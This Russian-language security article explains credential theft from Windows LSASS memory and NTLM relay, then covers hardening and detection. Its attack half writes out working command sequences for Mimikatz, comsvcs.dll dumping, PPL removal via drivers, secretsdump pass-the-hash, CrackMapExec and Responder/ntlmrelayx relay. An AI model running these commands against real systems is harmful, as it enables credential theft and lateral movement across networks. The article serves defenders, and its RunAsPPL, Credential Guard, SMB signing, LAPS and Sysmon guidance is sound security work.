ПРЕДУПРЕЖДЕНИЕ: Статья предназначена для повышения осведомленности о киберугрозах и методах защиты. Все методы и инструменты, упомянутые в статье, должны использоваться только в законных целях, с разрешения владельцев систем и в рамках действующего законодательства.
Удалённое извлечение учётных данных — это не сетевая атака в классическом смысле. Это атака на память конкретного процесса, которую сеть только доставляет. Разница принципиальная: она меняет и модель угрозы, и то, что именно нужно защищать.
Что хранится в памяти LSASS и в каком виде
Windows не хранит пароли в открытом виде — это правда, но половина правды. После входа пользователя система формирует производные от учётных данных, и все они оседают в памяти процесса lsass.exe:
- NT-хеш (MD4 от пароля в кодировке UTF-16LE) — используется для NTLM-аутентификации и Pass-the-Hash атак
- Kerberos TGT — ticket-granting ticket, позволяет запрашивать билеты к сервисам без повторного ввода пароля
- Kerberos TGS — билеты к конкретным сервисам, которые были запрошены в текущей сессии
- Кэшированные доменные учётные данные — для офлайн-входа, хранятся в зашифрованном виде, но ключ шифрования тоже находится в памяти
- WDigest cleartext — на старых системах или при включённом параметре
UseLogonCredentialпароль хранится в открытом виде прямо в LSASS
Всё это обрабатывается провайдерами аутентификации (SSP/AP), загруженными в адресное пространство LSASS: msv1_0.dll для NTLM, kerberos.dll для Kerberos, wdigest.dll для Digest. Посмотреть список активных провайдеров:
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages"
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig" -Name "Security Packages"
Эти структуры не хранятся на диске в открытом виде. Они существуют в оперативной памяти в обработанном формате, и доступ к ним требует не просто прав администратора, но и способности обойти механизмы изоляции памяти.
Цепочка условий для удалённого дампа
Прежде чем разбирать инструменты, важно понять последовательность. Удалённый доступ к производным от паролей требует выполнения всей цепочки целиком:
1. Сетевой транспорт. Windows использует SMB (TCP 445) и WMI/DCOM (TCP 135 + динамический диапазон). Если файрвол закрыл эти порты или остановлена служба LanmanServer — соединения нет и дальнейшие шаги невозможны.
2. Административные права на целевом хосте. Учётная запись должна входить в локальную группу Administrators. Если одна и та же учётная запись администратора используется на нескольких хостах, компрометация одного узла автоматически создаёт риск для всей сети.
3. Привилегия SeDebugPrivilege. По умолчанию выдаётся локальным администраторам. Без неё OpenProcess на lsass.exe вернёт ACCESS_DENIED. Проверить текущую сессию:
whoami /priv | findstr SeDebugPrivilege
4. Отсутствие RunAsPPL или способ его обойти. Если LSASS запущен как Protected Process Light, OpenProcess с PROCESS_ALL_ACCESS заблокирован даже для администратора.
5. Отсутствие Credential Guard или способ его обойти. Если включён — NTLM-хеши и Kerberos TGT хранятся в изолированном VBS-контейнере (LSAIso), а не в обычном адресном пространстве процесса.
Я проверял эту механику в лабораторной среде на двух машинах с одинаковой конфигурацией. Разница между теоретической возможностью и практической реализацией оказывается существенной. Права в Windows работают через токены доступа: даже при успешной аутентификации система ограничивает операции уровнем токена процесса. Административный токен открывает доступ к чувствительным компонентам — но только если не включены дополнительные механизмы защиты.
Инструменты атаки и что они реально делают
Mimikatz — классика с оговорками
Самый известный. В базовом сценарии без каких-либо защит достаточно двух команд:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
privilege::debug запрашивает SeDebugPrivilege для текущего процесса. sekurlsa::logonpasswords открывает handle на lsass.exe, читает его память через ReadProcessMemory и парсит структуры каждого провайдера. Работало так с ранних версий Windows 10, где LSASS запускался как обычный системный процесс без дополнительных ограничений — любой процесс с SYSTEM-правами или SeDebugPrivilege мог открыть полный handle и прочитать всё.
Если включён RunAsPPL — результат будет таким:
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
Обход через загрузку драйвера mimidrv.sys:
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords
Драйвер снимает флаги PPL с процесса напрямую через ядро. Это работает, но только при отсутствии HVCI, который блокирует загрузку заблокированных или неподписанных драйверов.
Отдельный вариант — работа с дампом памяти офлайн, без прямого обращения к живому LSASS:
mimikatz # sekurlsa::minidump C:\temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords
ProcDump и Living-off-the-Land
ProcDump из Sysinternals создаёт полный minidump:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Defender его детектирует. Атакующие обходят через встроенные подписанные компоненты Windows — техника Living-off-the-Land:
# comsvcs.dll — подписанная Microsoft библиотека, присутствует на каждой машине
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDumpWriteDump (Get-Process lsass).Id C:\temp\lsass.dmp full
После получения дампа разбирают офлайн через pypykatz — Python-порт Mimikatz, запускается на Linux без каких-либо зависимостей:
pypykatz lsa minidump lsass.dmp
Impacket secretsdump — удалённый дамп без агента на цели
Если есть NT-хеш или пароль от учётки с правами администратора, secretsdump.py делает удалённый дамп без загрузки каких-либо инструментов на целевую машину:
# Через пароль
secretsdump.py DOMAIN/Administrator:password@192.168.1.50
# Pass-the-Hash — без знания пароля
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 DOMAIN/Administrator@192.168.1.50
Инструмент подключается по SMB, временно включает службу RemoteRegistry (если остановлена), читает SAM-хеши и LSA secrets через реестровый API, потом деактивирует. Сам LSASS при этом не трогается — читаются кусты реестра SECURITY и SAM. Это важное отличие: дамп LSASS даёт Kerberos-билеты живой сессии, дамп SAM/LSA через реестр — хеши учётных записей и cached domain credentials.
CrackMapExec / NetExec — разведка и доступ одним инструментом
# Проверка доступности и прав на подсети
crackmapexec smb 192.168.1.0/24 -u Administrator -p 'password' --shares
# Дамп SAM-хешей
crackmapexec smb 192.168.1.50 -u Administrator -p 'password' --sam
# Список машин без SMB signing (уязвимы к Relay)
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
Почему сетевые протоколы не передают пароли — и почему это не защищает полностью
Kerberos работает через билеты, выдаваемые KDC. Клиент получает TGT, предъявляет его сервису, сервис проверяет подпись. Пароль не участвует в этом обмене после первоначальной аутентификации.
NTLM использует challenge-response на базе NT-хеша. Сервер отправляет случайное число, клиент вычисляет ответ на основе хеша пароля, сервер проверяет — не зная сам пароль. Это защищает от перехвата пароля, но не от повторного использования хеша или его relay’а.
Ответ на вопрос «почему атаки на учётные данные всё ещё работают, если протоколы не передают пароли» — в том, что происходит после успешного входа. Производные от пароля оседают в памяти, и доступ к этой памяти становится новой точкой риска. Плюс атаки на сетевом уровне не требуют предварительного дампа LSASS вообще.
NTLM Relay — отдельный вектор без дампа
Самый доступный сетевой вектор: не нужны готовые хеши, не нужен предварительный доступ к машине. Атакующий отравляет LLMNR/NBT-NS-запросы в сети через Responder, перехватывает NetNTLMv2 challenge-response от жертвы и ретранслирует его на другой хост — от имени жертвы.
# Шаг 1: отключить SMB и HTTP в Responder, иначе помешает ntlmrelayx
sed -i 's/SMB = On/SMB = Off/' Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' Responder.conf
# Шаг 2: отравление LLMNR/NBT-NS запросов
python3 Responder.py -I eth0 -rdwv
# Шаг 3: relay на цели без SMB signing
ntlmrelayx.py -tf targets.txt -smb2support
Когда жертва ошибается при обращении к сетевому ресурсу (опечатка в пути, нерабочий shortcut) — Windows бросает LLMNR-broadcast. Responder отвечает первым, жертва начинает NTLM-аутентификацию к атакующему, ntlmrelayx ретранслирует её на целевую машину. Если у жертвы там есть права администратора — ntlmrelayx по умолчанию сбрасывает SAM-хеши.
Важный момент: NetNTLMv2 нельзя использовать для Pass-the-Hash напрямую — это не NT-хеш. Его можно только relay’ить или взламывать офлайн:
hashcat -m 5600 captured_hashes.txt rockyou.txt
Вектор остаётся актуальным. CVE-2024-43451 позволяла утечь NTLMv2-хеш с минимальным взаимодействием пользователя — достаточно превью .url-файла. Группа Head Mare распространяла эксплойт через ZIP-архивы с темой «Договор на предоставление услуг» — таргетируя в том числе российские организации производственного и государственного секторов.
Защита: что реально работает и почему
RunAsPPL — первый уровень
Включает запуск LSASS как Protected Process Light. Большинство инструментов, включая базовый Mimikatz, получат отказ:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
Требуется перезагрузка. После неё проверить:
Журнал System → Event ID 12: "LSASS.exe was started as a protected process with level: 4"
Обход: загрузка уязвимого подписанного драйвера (BYOVD). RTCore64.sys от MSI Afterburner работает вплоть до Windows 11 24H2, потому что Microsoft редко обновляет список заблокированных драйверов — а подпись действующая.
Credential Guard — принципиально другой уровень
Изолирует NTLM-хеши и Kerberos TGT в виртуализированном окружении (VBS + LSAIso). При попытке дампа атакующий увидит только LSA Isolated Data: NtlmHash вместо реального хеша. Mimikatz в этом случае бессилен.
Включить через GPO: Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security.
Или через реестр:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f
Требования: UEFI Secure Boot, VT-x/AMD-V, TPM 2.0, 64-bit. Часть машин в организации может не пройти проверку оборудования — и система тихо откатится к стандартному режиму без явного уведомления. Именно это я видел на практике: защита была «включена» в GPO, но фактически не работала из-за конфликтов с драйверами сторонних вендоров. Виртуализация требует совместимости на уровне всего стека.
Начиная с Windows 11 Enterprise 22H2 Credential Guard включён по умолчанию на совместимых устройствах. Исследователи из IFCR показали, что даже с активным Credential Guard можно восстановить NT-хеш, используя ALPC-канал между lsass.exe и LSAIso — но это требует выполнения кода внутри самого процесса LSASS, что существенно поднимает планку для атакующего.
ASR-правило как запасной вариант
Если Credential Guard недоступен из-за аппаратных ограничений, правило Attack Surface Reduction в Defender for Endpoint добавляет отдельный барьер:
# Сначала — в режиме аудита для оценки ложных срабатываний
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b3 `
-AttackSurfaceReductionRules_Actions AuditMode
# После анализа — переключить в боевой режим
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b3 `
-AttackSurfaceReductionRules_Actions Enabled
WDigest — обязательно проверить
На любой системе, к которой был применён старый GPO или ручная правка реестра, может быть включён кэш cleartext-паролей:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential
Должно быть 0x0. Если 0x1 — при каждой аутентификации пароль в открытом виде попадает в память LSASS.
SMB Signing — против NTLM Relay
Включение обязательной подписи SMB полностью закрывает relay-атаки через этот протокол:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 1 /f
Через GPO (предпочтительно для домена): Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → "Microsoft network server: Digitally sign communications (always)".
Проверить текущий статус в сети:
# Хосты, попавшие в файл — без обязательной подписи (цели для relay)
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
Уровень аутентификации LAN Manager
Local Security Policy → Security Options →
"Network security: LAN Manager authentication level" =
"Send NTLMv2 response only. Refuse LM & NTLM"
Через реестр:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel /t REG_DWORD /d 5 /f
Значение 5 — только NTLMv2, отказ от LM и NTLMv1. Меньшее значение открывает downgrade-атаки.
Как разорвать цепочку компрометации в сети
Защита строится вокруг разрыва последовательности. Если злоумышленник не может установить сетевое соединение — цепочка обрывается на первом шаге. Если соединение есть, но нет административных прав — доступ к чувствительным компонентам закрыт. Если права получены, но память изолирована — извлечение данных становится существенно сложнее.
Сегментация сети ограничивает горизонтальное перемещение. Даже при компрометации одного узла злоумышленник не получает автоматический доступ ко всем системам в том же broadcast-домене. Отравление LLMNR работает только в пределах подсети — сегментация напрямую снижает площадь этой атаки.
Наиболее критичный одиночный контрол — уникальные пароли локальных администраторов на каждом хосте. LAPS (Local Administrator Password Solution) решает именно это: генерирует и ротирует пароль для каждой машины отдельно, хранит в AD. Без LAPS компрометация одной машины превращается в компрометацию всего сегмента.
Что детектировать и через какие события
| Event ID | Источник | Что означает |
|---|---|---|
| 4624 | Security | Успешная аутентификация. При NTLM Relay — Logon Type 3, пакет NtLmSsp, исходящий IP не совпадает с hostname |
| 4625 | Security | Неудачная аутентификация. Всплески с одного IP по множеству аккаунтов |
| 4688 | Security | Создание процесса. Запуск procdump.exe, mimikatz.exe, rundll32 с comsvcs.dll |
| 10 | Sysmon | ProcessAccess к lsass.exe — ключевой индикатор дампа |
| 7 | Sysmon | Загрузка драйвера. Подозрительные файлы типа RTCore64.sys, mimidrv.sys |
| 12 | System | Статус PPL-защиты LSASS при старте системы |
Sysmon-конфиг для детекта дампа через MiniDumpWriteDump:
<RuleGroup name="LSASS Dump Detection" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="end with">lsass.exe</TargetImage>
<CallTrace condition="contains">dbgcore.dll</CallTrace>
</ProcessAccess>
</RuleGroup>
При детекте NTLM Relay в Event 4624 ищем аномалию: LogonType = 3, AuthenticationPackageName = NTLM, и WorkstationName не совпадает с IpAddress в том же событии — прямой признак ретрансляции. Попытка создать дамп памяти системного процесса, нетипичные удалённые вызовы, создание служб с подозрительными параметрами — всё это сигналы для анализа.
Практическая проверка своей среды
# 1. Статус Credential Guard
(Get-CimInstance -ClassName Win32_DeviceGuard `
-Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# 2 = Credential Guard запущен; 0 = не активен
# 2. Статус RunAsPPL
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL
# 3. Уровень аутентификации LAN Manager (должен быть 5)
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name LmCompatibilityLevel
# 4. WDigest cleartext caching (должен быть 0)
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
-Name UseLogonCredential
# 5. SMB Signing на текущей машине
Get-SmbServerConfiguration | Select RequireSecuritySignature, EnableSecuritySignature
# 6. Текущие привилегии сессии
whoami /priv | findstr -i "debug"
Если LmCompatibilityLevel меньше 5 — NTLM downgrade возможен. Если UseLogonCredential = 1 — cleartext пароли попадают в LSASS при каждом входе. Если RunAsPPL = 0 и SecurityServicesRunning не содержит 2 — машина уязвима к базовому Mimikatz.
Я предпочитаю подход, при котором защита проверяется регулярно, а не только после инцидента. Автоматизация через PowerShell DSC или средства управления конфигурацией позволяет держать эти настройки под контролем и отлавливать регрессии после обновлений и замены оборудования.
Итог по приоритетам
Один контрол важнее всего остального: LAPS или аналог — уникальные пароли локальных администраторов. Без него горизонтальное перемещение тривиально вне зависимости от состояния LSASS.
Дальше: Credential Guard закрывает дамп LSASS как класс угроз. SMB Signing закрывает NTLM Relay. RunAsPPL повышает планку, но обходится через BYOVD. Sysmon Event ID 10 + SIEM даёт видимость — но только если кто-то это читает.
Каждый слой защиты должен работать, даже если другие откажут. Защита без мониторинга — замок без сигнализации.
#информационнаябезопасность #кибербезопасность #windowssecurity #lsass #ntlm #lateralmovement #credentialguard #инфобез #защитаданных #безопасностьсети